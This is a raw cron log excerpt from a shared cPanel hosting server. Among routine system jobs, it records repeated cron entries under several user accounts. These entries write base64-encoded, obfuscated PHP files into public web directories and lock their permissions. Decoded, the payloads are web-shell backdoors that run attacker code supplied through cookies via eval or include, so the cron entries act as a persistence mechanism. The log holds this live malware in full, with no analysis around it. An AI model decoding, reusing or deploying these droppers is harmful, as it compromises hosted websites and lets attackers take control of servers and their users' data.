Mar  1 20:54:01 medusa CROND[27437]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:54:01 medusa CROND[27438]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:54:01 medusa CROND[27443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:54:01 medusa CROND[27444]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:54:01 medusa CROND[27446]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:54:01 medusa CROND[27447]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:54:01 medusa CROND[27448]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:54:01 medusa CROND[27446]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:54:01 medusa CROND[27447]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:54:01 medusa CROND[27448]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:54:01 medusa CROND[27450]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:54:01 medusa CROND[27451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:55:01 medusa CROND[12865]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:55:01 medusa CROND[13116]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:55:01 medusa CROND[13118]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:55:01 medusa CROND[13117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:55:01 medusa CROND[13119]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:55:01 medusa CROND[13120]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:55:01 medusa CROND[13121]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:55:01 medusa CROND[13123]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:55:01 medusa CROND[13124]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:55:01 medusa CROND[13135]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:55:01 medusa CROND[13136]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:55:01 medusa CROND[13138]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:55:01 medusa CROND[13144]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:55:01 medusa CROND[13137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:55:01 medusa CROND[13147]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:55:01 medusa CROND[13156]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:55:01 medusa CROND[13159]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:55:01 medusa CROND[13165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:55:01 medusa CROND[13168]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:55:01 medusa CROND[13155]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:55:01 medusa CROND[13166]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:55:01 medusa CROND[13167]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
